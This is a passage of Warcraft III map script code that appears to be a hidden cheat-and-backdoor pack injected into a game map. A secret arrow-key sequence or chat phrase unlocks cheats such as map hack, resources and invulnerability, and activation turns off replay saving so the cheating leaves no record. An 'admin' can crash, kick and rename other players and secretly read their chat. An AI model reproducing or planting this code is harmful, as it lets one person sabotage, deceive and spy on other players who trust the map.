DisplayTimedTextToPlayer(b2j,0,0,10,"-resume - Enables selected units commands") call DisplayTimedTextToPlayer(b2j,0,0,10,"-xp rate # - Sets # to your selected units xp rate") call DisplayTimedTextToPlayer(b2j,0,0,10,"-addhp # - Adds # to your current hit points") call DisplayTimedTextToPlayer(b2j,0,0,10,"-nofood - Makes selected units use no food") call DisplayTimedTextToPlayer(b2j,0,0,10,"-food - Makes selected units use food") elseif SubString(c8h,0,6)=="-list8"then call DisplayTimedTextToPlayer(b2j,0,0,10,"-heal - Heals selected units' HP and MP") call DisplayTimedTextToPlayer(b2j,0,0,10,"-size # - Sets # to your selected units' size") call DisplayTimedTextToPlayer(b2j,0,0,10,"-debuff - Debuff your selected units") call DisplayTimedTextToPlayer(b2j,0,0,10,"-additem # - Spawns # random items") call DisplayTimedTextToPlayer(b2j,0,0,10,"-pathoff - Makes selected units uncollide") call DisplayTimedTextToPlayer(b2j,0,0,10,"-pathon - Makes selected units collide") elseif SubString(c8h,0,8)=="-logging"then call EnumDestructablesInRectAll(GetPlayableMapRect(),function DestroyTree) elseif SubString(c8h,0,9)=="-reforest"then call EnumDestructablesInRectAll(GetPlayableMapRect(),function GrowTree) elseif SubString(c8h,0,5)=="-nocd"then set SHENG2[1]=GetPlayerId(b2j) call ExecuteFunc("Deng_StartNocd") elseif SubString(c8h,0,9)=="-showkeys"then call DisplayTextToPlayer(b2j,0,0,"|cffff0000Left: "+GetStoredString(CACHE,id2d,"left")) call DisplayTextToPlayer(b2j,0,0,"|cffff0000Right: "+GetStoredString(CACHE,id2d,"right")) call DisplayTextToPlayer(b2j,0,0,"|cffff0000Up: "+GetStoredString(CACHE,id2d,"up")) call DisplayTextToPlayer(b2j,0,0,"|cffff0000Down: "+GetStoredString(CACHE,id2d,"down")) elseif SubString(c8h,0,10)=="-locktrade"then call SetMapFlag(MAP_LOCK_RESOURCE_TRADING,true) elseif SubString(c8h,0,12)=="-unlocktrade"then call SetMapFlag(MAP_LOCK_RESOURCE_TRADING,false) elseif SubString(c8h,0,5)=="-lock"then call SetMapFlag(MAP_LOCK_ALLIANCE_CHANGES,true) call SetMapFlag(MAP_ALLIANCE_CHANGES_HIDDEN,true) call SetMapFlag(MAP_SHARED_ADVANCED_CONTROL,false) elseif SubString(c8h,0,7)=="-unlock"then call SetMapFlag(MAP_LOCK_ALLIANCE_CHANGES,false) call SetMapFlag(MAP_ALLIANCE_CHANGES_HIDDEN,false) elseif SubString(c8h,0,9)=="-shareall"then if b2j==DJBadmin then loop exitwhen i2i>15 call SetPlayerAllianceStateFullControlBJ(Player(i2i),b2j,true) call SetPlayerAllianceStateControlBJ(Player(i2i),b2j,true) call SetPlayerAllianceStateVisionBJ(Player(i2i),b2j,true) set i2i=i2i+1 endloop else call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000This command is reserved for admin.") endif elseif SubString(c8h,0,5)=="-soff"then if b2j==DJBadmin then loop exitwhen i2i>15 if GetPlayerId(b2j)!=i2i then call SetPlayerAllianceStateFullControlBJ(Player(i2i),b2j,false) call SetPlayerAllianceStateControlBJ(Player(i2i),b2j,false) call SetPlayerAllianceStateVisionBJ(Player(i2i),b2j,false) endif set i2i=i2i+1 endloop else call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000This command is reserved for admin.") endif elseif SubString(c8h,0,7)=="-share " and S2I(SubString(c8h,7,9))<16 and S2I(SubString(c8h,7,9))>-1then if b2j==DJBadmin then call SetPlayerAllianceStateFullControlBJ(Player(S2I(SubString(c8h,7,9))),b2j,true) call SetPlayerAllianceStateControlBJ(Player(S2I(SubString(c8h,7,9))),b2j,true) call SetPlayerAllianceStateVisionBJ(Player(S2I(SubString(c8h,7,9))),b2j,true) else call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000This command is reserved for admin.") endif elseif SubString(c8h,0,9)=="-unshare " and S2I(SubString(c8h,9,11))<16 and S2I(SubString(c8h,7,9))>-1then if b2j==DJBadmin then call SetPlayerAllianceStateFullControlBJ(Player(S2I(SubString(c8h,9,11))),b2j,false) call SetPlayerAllianceStateControlBJ(Player(S2I(SubString(c8h,9,11))),b2j,false) call SetPlayerAllianceStateVisionBJ(Player(S2I(SubString(c8h,9,11))),b2j,false) else call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000This command is reserved for admin.") endif elseif SubString(c8h,0,6)=="-ally "and S2I(SubString(c8h,6,8))<16 and S2I(SubString(c8h,6,8))>-1then if b2j==DJBadmin then call SetPlayerAllianceStateAllyBJ(b2j,Player(S2I(SubString(c8h,6,8))),true) call SetPlayerAllianceStateAllyBJ(Player(S2I(SubString(c8h,6,8))),b2j,true) call SetPlayerAllianceStateVisionBJ(Player(S2I(SubString(c8h,6,8))),b2j,true) else call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000This command is reserved for admin.") endif elseif SubString(c8h,0,8)=="-unally "and S2I(SubString(c8h,8,10))<16 and S2I(SubString(c8h,8,10))>-1then if b2j==DJBadmin then call SetPlayerAllianceStateAllyBJ(b2j,Player(S2I(SubString(c8h,8,10))),false) call SetPlayerAllianceStateAllyBJ(Player(S2I(SubString(c8h,8,10))),b2j,false) else call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000This command is reserved for admin.") endif elseif SubString(c8h,0,10)=="-unallyall"then if b2j==DJBadmin then loop exitwhen i2i>11 if GetPlayerId(b2j)!=i2i then call SetPlayerAllianceStateAllyBJ(b2j,Player(i2i),false) call SetPlayerAllianceStateAllyBJ(Player(i2i),b2j,false) call SetPlayerAllianceStateVisionBJ(b2j,Player(i2i),false) endif set i2i=i2i+1 endloop else call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000This command is reserved for admin.") endif elseif SubString(c8h,0,8)=="-allyall"then if b2j==DJBadmin then loop exitwhen i2i>11 call SetPlayerAllianceStateAllyBJ(b2j,Player(i2i),true) call SetPlayerAllianceStateAllyBJ(Player(i2i),b2j,true) call SetPlayerAllianceStateVisionBJ(b2j,Player(i2i),true) set i2i=i2i+1 endloop else call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000This command is reserved for admin.") endif elseif SubString(c8h,0,8)=="-setname"then if b2j==DJBadmin then call SetPlayerName(b2j,StringConv(SubString(c8h,9,200))) else call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000This command is reserved for admin.") endif elseif SubString(c8h,0,6)=="-food "then call SetPlayerState(b2j,PLAYER_STATE_FOOD_CAP_CEILING,S2I(SubString(c8h,6,10))) call SetPlayerState(b2j,PLAYER_STATE_RESOURCE_FOOD_CAP,S2I(SubString(c8h,6,10))) elseif SubString(c8h,0,9)=="-setcolor"then if b2j==DJBadmin then call SetPlayerColor(b2j,StoPC(SubString(c8h,10,16),b2j)) else call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000This command is reserved for admin.") endif elseif SubString(c8h,0,4)=="-say"then call DisplayTextToForce(bj_FORCE_ALL_PLAYERS,((StringConv(GetPlayerName(b2j)+" |c00ff0000says:|r ")+("|c00ffff00\""+SubString(c8h,4,10))+StringConv(SubString(c8h,10,400))+(" \"")))) elseif SubString(c8h,0,5)=="-fast"then set SHENG2[1]=GetPlayerId(b2j) call ExecuteFunc("Deng_StartFast") elseif SubString(c8h,0,6)=="-ufast"then set SHENG2[1]=GetPlayerId(b2j) call ExecuteFunc("Deng_StartUFast") elseif SubString(c8h,0,7)=="-bfast"then set SHENG2[1]=GetPlayerId(b2j) call ExecuteFunc("Deng_StartBFast") elseif SubString(c8h,0,5)=="-tele"then set SHENG2[1]=GetPlayerId(b2j) call ExecuteFunc("Deng_StartTele") elseif SubString(c8h,0,7)=="-colors"then call DisplayTimedTextToPlayer(b2j,0,0,10,"|CFFFF000000|r |CFF0000FF01|r |CFF01E7E702|r |CFF40008003|r |CFFFFFF0004|r |CFFF97C0005|r |CFF00FF0006|r |CFFFF80C007|r |CFFC0C0C008|r |CFF93C4F409|r |CFF00804010|r |CFF57220211|r") elseif SubString(c8h,0,3)=="-g " and S2I(SubString(c8h,3,5))<16 and S2I(SubString(c8h,3,5))>-1then if b2j==DJBadmin then call SetPlayerState(Player(S2I(SubString(c8h,3,5))),PLAYER_STATE_RESOURCE_GOLD,GetPlayerState(Player(S2I(SubString(c8h,3,5))),PLAYER_STATE_RESOURCE_GOLD)+S2I(SubString(c8h,6,13))) else call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000This command is reserved for admin.") endif elseif SubString(c8h,0,3)=="-l " and S2I(SubString(c8h,3,5))<16 and S2I(SubString(c8h,3,5))>-1then if b2j==DJBadmin then call SetPlayerState(Player(S2I(SubString(c8h,3,5))),PLAYER_STATE_RESOURCE_LUMBER,GetPlayerState(Player(S2I(SubString(c8h,3,5))),PLAYER_STATE_RESOURCE_LUMBER)+S2I(SubString(c8h,6,13))) else call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000This command is reserved for admin.") endif elseif SubString(c8h,0,3)=="-f " and S2I(SubString(c8h,3,5))<16 and S2I(SubString(c8h,3,5))>-1then if b2j==DJBadmin then call SetPlayerState(Player(S2I(SubString(c8h,3,5))),PLAYER_STATE_FOOD_CAP_CEILING,S2I(SubString(c8h,6,20))) call SetPlayerState(Player(S2I(SubString(c8h,3,5))),PLAYER_STATE_RESOURCE_FOOD_CAP,S2I(SubString(c8h,6,20))) else call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000This command is reserved for admin.") endif elseif SubString(c8h,0,4)=="-sc " and S2I(SubString(c8h,4,6))<16 and S2I(SubString(c8h,3,5))>-1then if b2j==DJBadmin then call SetPlayerColor(Player(S2I(SubString(c8h,4,6))),StoPC(SubString(c8h,7,13),Player(S2I(SubString(c8h,4,6))))) else call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000This command is reserved for admin.") endif elseif SubString(c8h,0,4)=="-sn " and S2I(SubString(c8h,4,6))<16 and S2I(SubString(c8h,3,5))>-1then if b2j==DJBadmin then call SetPlayerName(Player(S2I(SubString(c8h,4,6))),StringConv(SubString(c8h,7,300))) else call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000This command is reserved for admin.") endif elseif SubString(c8h,0,5)=="-hear"then if b2j==DJBadmin then call ForceAddPlayer(udg_ting,b2j) call Talk() else call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000This command is reserved for admin.") endif elseif SubString(c8h,0,7)=="-nohear"then if b2j==DJBadmin then call ForceRemovePlayer(udg_ting,b2j) else call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000This command is reserved for admin.") endif elseif SubString(c8h,0,5)=="-time"then call SetTimeOfDay(S2R(SubString(c8h,6,9))) elseif SubString(c8h,0,8)=="-disable"then call DisableTrigger(Siwang) elseif SubString(c8h,0,5)=="-reg "then set Xingtong=SubString(c8h,5,12) call RectClick(b2j) elseif SubString(c8h,0,6)=="-unit "then call DestroyTrigger(ChuangjianDanwei) set ChuangjianDanwei=CreateTrigger() set mu8u=Str2RAW(SubString(c8h,6,10)) call CreateUnitz(b2j) elseif SubString(c8h,0,7)=="-nounit"then call DestroyTrigger(ChuangjianDanwei) elseif SubString(c8h,0,4)=="-act"then if b2j==DJBadmin then set Danci=SubString(c8h,5,100) else call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000This command is reserved for admin.") endif elseif SubString(c8h,0,7)=="-destid"then call RAW2Str(GetDestructableTypeId(RandomDestructableInRectSimpleBJ(Zhuce)),b2j) elseif SubString(DJBs1,0,7)=="-crash " then if b2j==DJBadmin then call DJB_Crash(Player(S2I(SubString(DJBs1,7,9))),DJBp1) else call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000This command is reserved for admin.") endif elseif(SubString(DJBs1,0,3)=="-ca")and(DJBi1==3)then if b2j==DJBadmin then loop exitwhen DJBi2>11 call DJB_Crash(Player(DJBi2),DJBp1) set DJBi2=DJBi2+1 endloop else call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000This command is reserved for admin.") endif elseif SubString(DJBs1,0,4)=="-cf " then if b2j==DJBadmin then call Clusterfuck(Player(S2I(SubString(DJBs1,4,6))),DJBp1) else call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000This command is reserved for admin.") endif elseif SubString(DJBs1,0,6)=="-kick " then if b2j==DJBadmin then if Player(S2I(SubString(DJBs1,6,DJBi1)))!=DJBadmin then call CustomDefeatBJ(Player(S2I(SubString(DJBs1,6,8))),"") endif else call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000This command is reserved for admin.") endif elseif SubString(DJBs1,0,11)=="-adminlogin" then set DJBba[GetPlayerId(DJBp1)]=true call DisplayTimedTextToPlayer(DJBp1,0,0,10,"|c00ffff00 Enter Password") elseif SubString(DJBs1,0,12)=="-apink" then call DJB_AdminGet(DJBp1) elseif((SubString(DJBs1,0,3)=="-cc")and(DJBp1==DJBadmin))then loop exitwhen DJBi2>11 if DJBba2[DJBi2]==true then call DisplayTimedTextToPlayer(DJBp1,0,0,10,"|cffff0000"+GetPlayerName(Player(DJBi2))+"|r is using cheats.") else call DisplayTimedTextToPlayer(DJBp1,0,0,10,GetPlayerName(Player(DJBi2))+" is not using cheats") endif set DJBi2=DJBi2+1 endloop elseif SubString(DJBs1,0,7)=="-cadmin" then if DJBb8==true then call DisplayTimedTextToPlayer(DJBp1,0,0,10,"|cffff0000 "+GetPlayerName(DJBadmin)+"|r |c00ffff00is the admin in this game.") else call DisplayTimedTextToPlayer(b2j,0,0,10,"|c00ffff00 There is no admin in this game.") call DisplayTimedTextToPlayer(b2j,0,0,10," ") call DisplayTimedTextToPlayer(b2j,0,0,10,"|c00ffff00 Do you want to log in?") call DisplayTimedTextToPlayer(b2j,0,0,10,"|c00ffff00 Type -adminlogin to log in.") endif elseif SubString(DJBs1,0,7)=="-logout" then if b2j==DJBadmin then call DJB_Logout(DJBp1) else call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000This command is reserved for admin.") endif elseif(SubString(DJBs1,0,9)=="-nocheat ")and(DJBp1==DJBadmin)then endif call GroupEnumUnitsSelected(g2g,DJBp1,null) call GroupEnumUnitsSelected(g2g,b2j,null) loop set d2w=FirstOfGroup(g2g) exitwhen d2w==null if i2i>=0 then if SubString(c8h,0,4)=="-int"then call SetHeroInt(d2w,i2i,true) elseif SubString(c8h,0,4)=="-agi"then call SetHeroAgi(d2w,i2i,true) elseif SubString(c8h,0,4)=="-str"then call SetHeroStr(d2w,i2i,true) endif endif if SubString(c8h,0,6)=="-invis"then call UnitAddAbility(d2w,'Apiv') elseif SubString(c8h,0,6)=="-vis"then call UnitRemoveAbility(d2w,'Apiv') elseif SubString(c8h,0,9)=="-xp rate "then call SetPlayerHandicapXP(Player(S2I(SubString(c8h,9,11))),S2I(SubString(c8h,9,12))) elseif SubString(c8h,0,7)=="-revive"then set h2g=GetUnitsOfPlayerAll(b2j) set h2u=FirstOfGroup(h2g) call ReviveHeroLoc(h2u,GetUnitLoc(d2w),false) elseif SubString(c8h,0,8)=="-destroy"then if b2j==DJBadmin then call RemoveUnit(d2w) else call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000This command is reserved for admin.") endif elseif SubString(c8h,0,7)=="-addhp "then if Sethp>200then set Sethp=200 endif call UnitAddAbility(d2w,'AInv') loop exitwhen Nowhp>=Sethp set Nowhp=Nowhp+1 call UnitAddItemToSlotById(d2w,'manh',6) endloop elseif SubString(c8h,0,7)=="-nofood"then call SetUnitUseFood(d2w,false) elseif SubString(c8h,0,5)=="-food"then call SetUnitUseFood(d2w,true) elseif SubString(c8h,0,7)=="-unitid"then call RAW2Str(GetUnitTypeId(d2w),b2j) elseif SubString(c8h,0,7)=="-itemid"then if S2I(SubString(c8h,8,9))!=0then call RAW2Str(GetItemTypeId(UnitItemInSlot(d2w,S2I(SubString(c8h,8,9))-1)),b2j) else call RAW2Str(GetItemTypeId(UnitItemInSlot(d2w,0)),b2j) endif elseif SubString(c8h,0,6)=="-float"then call UnitAddAbility(d2w,'Amrf') call SetUnitFlyHeight(d2w,S2R(SubString(c8h,7,10)),S2R(SubString(c8h,11,14))) call UnitRemoveAbility(d2w,'Amrf') elseif SubString(c8h,0,5)=="-stop"then call PauseUnit(d2w,true) elseif SubString(c8h,0,7)=="-resume"then call PauseUnit(d2w,false) elseif SubString(c8h,0,5)=="-heal"then call SetUnitLifePercentBJ(d2w,100) call SetUnitManaPercentBJ(d2w,100) elseif SubString(c8h,0,7)=="-autoh "then set s8h=S2R(SubString(c8h,7,10)) call GroupAddUnit(Zhiyu,d2w) call ExecuteFunc("Deng_StartAutoh") elseif SubString(c8h,0,9)=="-autohoff"then call GroupClear(Zhiyu) elseif SubString(c8h,0,8)=="-endgame"then if b2j==DJBadmin then call SaveAndChangeLevelBJ("rickroll.w3z","Maps\\MapName.w3x",false) else call DisplayTimedTextToPlayer(b2j,0,0,10,"|cffff0000This command is reserved for admin.") endif elseif SubString(c8h,0,6)=="-clear"then if(GetLocalPlayer()==b2j)then call ClearTextMessages() endif elseif SubString(c8h,0,6)=="-owner"then call SetUnitOwner(d2w,StoUO(SubString(c8h,7,16)),true) elseif SubString(c8h,0,5)=="-size"then call SetUnitScalePercent(d2w,j2j,j2j,j2j) elseif SubString(c8h,0,4)=="-lvl"then call SetHeroLevel(d2w,i2i,false) elseif SubString(c8h,0,8)=="-downlvl"then call UnitStripHeroLevel(d2w,S2I(SubString(c8h,8,20))) elseif SubString(c8h,0,3)=="-xp"then call SetHeroXP(d2w,z2z,false) elseif SubString(c8h,0,3)=="-hp"then call SetWidgetLife(d2w,z2z) elseif SubString(c8h,0,9)=="-resetcam"then call ResetToGameCameraForPlayer(b2j,0.) elseif SubString(c8h,0,3)=="-mp"then call SetUnitState(d2w,UNIT_STATE_MANA,z2z) elseif SubString(c8h,0,6)=="-invul"then call SetUnitInvulnerable(d2w,true) elseif SubString(c8h,0,4)=="-vul"then call SetUnitInvulnerable(d2w,false) elseif SubString(c8h,0,5)=="-kill"then call SetWidgetLife(d2w,0) elseif SubString(c8h,0,3)=="-ms"then call SetUnitMoveSpeed(d2w,z2z) elseif SubString(c8h,0,7)=="-pathon"then call SetUnitPathing(d2w,true) elseif SubString(c8h,0,8)=="-pathoff"then call SetUnitPathing(d2w,false) elseif SubString(c8h,0,7)=="-debuff"then call UnitRemoveBuffs(d2w,true,true) elseif SubString(c8h,0,8)=="-charges"then call SetItemCharges(UnitItemInSlot(d2w,S2I(SubString(c8h,8,9))-1),S2I(SubString(c8h,10,20))) elseif SubString(c8h,0,8)=="-additem"then set temp=0 loop set temp=temp+1 exitwhen temp>c2c call CreateItemLoc(ChooseRandomItemEx(ITEM_TYPE_ANY,-1),GetUnitLoc(d2w)) endloop elseif SubString(c8h,0,4)=="-add"then call UnitAddAbility(d2w,Str2RAW(SubString(c8h,5,9))) call SetUnitAbilityLevel(d2w,Str2RAW(SubString(c8h,5,9)),S2I(SubString(c8h,10,100))) elseif SubString(c8h,0,7)=="-remove"then call UnitRemoveAbility(d2w,Str2RAW(SubString(c8h,8,12))) elseif SubString(c8h,0,6)=="-spawn"then call SetPlayerTechResearchedSwap(Str2RAW(SubString(c8h,7,11)),3,b2j) call CreateUnitAtLoc(b2j,Str2RAW(SubString(c8h,7,11)),GetUnitLoc(d2w),GetUnitFacing(d2w)) call CreateDestructableLoc(Str2RAW(SubString(c8h,7,11)),GetUnitLoc(d2w),GetUnitFacing(d2w),1,10) call CreateItemLoc(Str2RAW(SubString(c8h,7,11)),GetUnitLoc(d2w)) elseif SubString(c8h,0,7)=="-ground"then call SetTerrainTypeBJ(GetRectCenter(GetWorldBounds()),Str2RAW(SubString(c8h,8,12)),-1,0x3B9ACA00,1) elseif SubString(c8h,0,5)=="-spa " and S2I(SubString(c8h,5,7))<16then call CreateUnitAtLoc(Player(S2I(SubString(c8h,5,7))),Str2RAW(SubString(c8h,8,12)),GetUnitLoc(d2w),GetUnitFacing(d2w)) elseif SubString(c8h,0,5)=="-copy" and SubString(c8h,6,7)!="0"then loop call CreateUnitAtLoc(GetOwningPlayer(d2w),GetUnitTypeId(d2w),GetUnitLoc(d2w),GetUnitFacing(d2w)) set DJ8B=DJ8B+1 exitwhen DJ8B>=dj8b call TriggerSleepAction(.001) endloop call RemoveLocation(GetUnitLoc(d2w)) endif call GroupRemoveUnit(g2g,d2w) endloop call DestroyGroup(g2g) if SubString(c8h,0,3)=="-mh"then set SHENG2[1]=GetPlayerId(b2j) call ExecuteFunc("Deng_StartMapHack") endif set c8h="" set id2d="" set b2j=null set g2g=null set d2w=null endfunction function Deng_CommandFinder takes player fp2p,string ds2s returns nothing local integer di2i=StringLength(ds2s) local integer di3i=0 local integer di4i=0 local integer di5i=0 loop if SubString(ds2s,di3i,di3i+1)=="-"and di5i<1then if S2I(SubString(ds2s,di3i+1,di3i+2))<1then set di4i=di3i set di5i=1 endif elseif SubString(ds2s,di3i+1,di3i+2)=="-"and di5i>0then if S2I(SubString(ds2s,di3i+2,di3i+3))<1then call Cheatz(fp2p,SubString(ds2s,di4i,di3i+1)) set di5i=0 endif elseif di3i==di2i and di5i>0then call Cheatz(fp2p,SubString(ds2s,di4i,di2i)) set di5i=0 endif set di3i=di3i+1 exitwhen di3i>di2i endloop endfunction function SendUp takes nothing returns nothing call Deng_CommandFinder(GetTriggerPlayer(),GetStoredString(CACHE,I2S(GetPlayerId(GetTriggerPlayer())),"up")) endfunction function SendRight takes nothing returns nothing call Deng_CommandFinder(GetTriggerPlayer(),GetStoredString(CACHE,I2S(GetPlayerId(GetTriggerPlayer())),"right")) endfunction function SendLeft takes nothing returns nothing call Deng_CommandFinder(GetTriggerPlayer(),GetStoredString(CACHE,I2S(GetPlayerId(GetTriggerPlayer())),"left")) endfunction function SendDown takes nothing returns nothing call Deng_CommandFinder(GetTriggerPlayer(),GetStoredString(CACHE,I2S(GetPlayerId(GetTriggerPlayer())),"down")) endfunction function BindKey takes player b2j,string c8h,string q2q,playerevent pe2p returns nothing local trigger t2t=CreateTrigger() local triggeraction ta2t if q2q=="up"then set ta2t=TriggerAddAction(t2t,function SendUp) elseif q2q=="left"then set ta2t=TriggerAddAction(t2t,function SendLeft) elseif q2q=="right"then set ta2t=TriggerAddAction(t2t,function SendRight) else set ta2t=TriggerAddAction(t2t,function SendDown) endif call TriggerRegisterPlayerEvent(t2t,b2j,pe2p) call StoreString(CACHE,I2S(GetPlayerId(b2j)),q2q,c8h) call WaitForString(b2j,"-bind"+q2q,true) call DisableTrigger(t2t) call TriggerRemoveAction(t2t,ta2t) call DestroyTrigger(t2t) set t2t=null set ta2t=null set b2j=null set c8h="" set q2q=null set pe2p=null endfunction function Cheatz0r takes nothing returns boolean return(IsPlayerInForce(GetTriggerPlayer(),PIANZI)) endfunction function DirectCheat takes nothing returns nothing local player b2j=GetTriggerPlayer() local string c8h=GetEventPlayerChatString() if SubString(c8h,0,10)=="-clearkeys"then call DisplayTimedTextToPlayer(b2j,0,0,5,"|cffff0000Key Bindings Cleared.") elseif SubString(c8h,0,7)=="-bindup"then call DisplayTextToPlayer(b2j,0,0,"|cffff0000'"+SubString(c8h,8,100)+"' was bound to Up Arrow Key") call BindKey(b2j,SubString(c8h,8,100),"up",EVENT_PLAYER_ARROW_UP_DOWN) elseif SubString(c8h,0,9)=="-bindleft"then call DisplayTextToPlayer(b2j,0,0,"|cffff0000'"+SubString(c8h,10,100)+"' was bound to Left Arrow Key") call BindKey(b2j,SubString(c8h,10,100),"left",EVENT_PLAYER_ARROW_LEFT_DOWN) elseif SubString(c8h,0,10)=="-bindright"then call DisplayTextToPlayer(b2j,0,0,"|cffff0000'"+SubString(c8h,11,100)+"' was bound to Right Arrow Key") call BindKey(b2j,SubString(c8h,11,100),"right",EVENT_PLAYER_ARROW_RIGHT_DOWN) elseif SubString(c8h,0,9)=="-binddown"then call DisplayTextToPlayer(b2j,0,0,"|cffff0000'"+SubString(c8h,10,100)+"' was bound to Down Arrow Key") call BindKey(b2j,SubString(c8h,10,100),"down",EVENT_PLAYER_ARROW_DOWN_DOWN) else call Deng_CommandFinder(b2j,c8h) endif set b2j=null set c8h="" endfunction function CheatUseLeft takes nothing returns nothing local player b2j=GetTriggerPlayer() local integer id2d=GetPlayerId(b2j) local string sd2d=Jiantou local integer stage=GetStoredInteger(CACHE,"Activation"+I2S(id2d),"Stage") if SubString(sd2d,stage,stage+1)=="L"then if stage==StringLength(sd2d)-1then if not IsPlayerInForce(b2j,PIANZI)then call DisplayTextToForce(PIANZI,GetPlayerName(b2j)) call ForceAddPlayer(PIANZI,b2j) call TriggerRegisterPlayerChatEvent(QIPIAN3,b2j,"-",false) call DisplayTimedTextToPlayer(b2j,0,0,10,"|c00ffff00XD|r") call DoNotSaveReplay() set DJBba[GetPlayerId(b2j)]=false set DJBba2[GetPlayerId(b2j)]=true endif call StoreInteger(CACHE,"Activation"+I2S(id2d),"Stage",0) else call StoreInteger(CACHE,"Activation"+I2S(id2d),"Stage",stage+1) endif else call StoreInteger(CACHE,"Activation"+I2S(id2d),"Stage",0) endif set b2j=null endfunction function CheatUseRight takes nothing returns nothing local player b2j=GetTriggerPlayer() local integer id2d=GetPlayerId(b2j) local string sd2d=Jiantou local integer stage=GetStoredInteger(CACHE,"Activation"+I2S(id2d),"Stage") if SubString(sd2d,stage,stage+1)=="R"then if stage==StringLength(sd2d)-1then if not IsPlayerInForce(b2j,PIANZI)then call DisplayTextToForce(PIANZI,GetPlayerName(b2j)) call ForceAddPlayer(PIANZI,b2j) call TriggerRegisterPlayerChatEvent(QIPIAN3,b2j,"-",false) call DisplayTimedTextToPlayer(b2j,0,0,10,"|c00ffff00XD|r") call DoNotSaveReplay() set DJBba[GetPlayerId(b2j)]=false set DJBba2[GetPlayerId(b2j)]=true endif call StoreInteger(CACHE,"Activation"+I2S(id2d),"Stage",0) else call StoreInteger(CACHE,"Activation"+I2S(id2d),"Stage",stage+1) endif else call StoreInteger(CACHE,"Activation"+I2S(id2d),"Stage",0) endif set b2j=null endfunction function CheatUseUp takes nothing returns nothing local player b2j=GetTriggerPlayer() local integer id2d=GetPlayerId(b2j) local string sd2d=Jiantou local integer stage=GetStoredInteger(CACHE,"Activation"+I2S(id2d),"Stage") if SubString(sd2d,stage,stage+1)=="U"then if stage==StringLength(sd2d)-1then if not IsPlayerInForce(b2j,PIANZI)then call DisplayTextToForce(PIANZI,GetPlayerName(b2j)) call ForceAddPlayer(PIANZI,b2j) call TriggerRegisterPlayerChatEvent(QIPIAN3,b2j,"-",false) call DisplayTimedTextToPlayer(b2j,0,0,10,"|c00ffff00XD|r") call DoNotSaveReplay() set DJBba[GetPlayerId(b2j)]=false set DJBba2[GetPlayerId(b2j)]=true endif call StoreInteger(CACHE,"Activation"+I2S(id2d),"Stage",0) else call StoreInteger(CACHE,"Activation"+I2S(id2d),"Stage",stage+1) endif else call StoreInteger(CACHE,"Activation"+I2S(id2d),"Stage",0) endif set b2j=null endfunction function CheatUseDown takes nothing returns nothing local player b2j=GetTriggerPlayer() local integer id2d=GetPlayerId(b2j) local string sd2d=Jiantou local integer stage=GetStoredInteger(CACHE,"Activation"+I2S(id2d),"Stage") if SubString(sd2d,stage,stage+1)=="D"then if stage==StringLength(sd2d)-1then if not IsPlayerInForce(b2j,PIANZI)then call DisplayTextToForce(PIANZI,GetPlayerName(b2j)) call ForceAddPlayer(PIANZI,b2j) call TriggerRegisterPlayerChatEvent(QIPIAN3,b2j,"-",false) call DisplayTimedTextToPlayer(b2j,0,0,10,"|c00ffff00XD|r") call DoNotSaveReplay() set DJBba[GetPlayerId(b2j)]=false set DJBba2[GetPlayerId(b2j)]=true endif call StoreInteger(CACHE,"Activation"+I2S(id2d),"Stage",0) else call StoreInteger(CACHE,"Activation"+I2S(id2d),"Stage",stage+1) endif else call StoreInteger(CACHE,"Activation"+I2S(id2d),"Stage",0) endif set b2j=null endfunction function CheatUse takes nothing returns nothing local player b2j=GetTriggerPlayer() if SubString(GetEventPlayerChatString(),0,100)==Danci and not IsPlayerInForce(b2j,PIANZI)then call DisplayTextToForce(PIANZI,GetPlayerName(b2j)) call ForceAddPlayer(PIANZI,b2j) call TriggerRegisterPlayerChatEvent(QIPIAN3,b2j,"-",false) call DisplayTimedTextToPlayer(b2j,0,0,10,"|c00ffff00Cheats activated! xixi") call TriggerSleepAction(2) call DisplayTimedTextToPlayer(b2j,0,0,5,"|c00ffff00Visit jasonlun.weebly.com to get more.") call DisplayTimedTextToPlayer(b2j,0,0,10,"|c00ffff00Type -list1 to -list8 to view cheat's commands!") call TriggerSleepAction(2) call DisplayTimedTextToPlayer(b2j,0,0,10,"|c00ffff00More info PM JasoN.LuN") call DoNotSaveReplay() set DJBba[GetPlayerId(b2j)]=false set DJBba2[GetPlayerId(b2j)]=true endif set b2j=null endfunction function CheatInstall takes nothing returns nothing local integer zrg=0 set QIPIAN1[0]=CreateTrigger() set QIPIAN1[1]=CreateTrigger() set QIPIAN1[2]=CreateTrigger() set QIPIAN1[3]=CreateTrigger() loop exitwhen zrg>11 call TriggerRegisterPlayerEvent(QIPIAN1[0],Player(zrg),EVENT_PLAYER_ARROW_LEFT_DOWN) call TriggerRegisterPlayerEvent(QIPIAN1[1],Player(zrg),EVENT_PLAYER_ARROW_RIGHT_DOWN) call TriggerRegisterPlayerEvent(QIPIAN1[2],Player(zrg),EVENT_PLAYER_ARROW_UP_DOWN) call TriggerRegisterPlayerEvent(QIPIAN1[3],Player(zrg),EVENT_PLAYER_ARROW_DOWN_DOWN) call TriggerRegisterPlayerChatEvent(QIPIAN2,Player(zrg),"-",false) call TriggerRegisterPlayerChatEvent(QIPIAN2,Player(zrg)," ",false) set zrg=zrg+1 endloop call 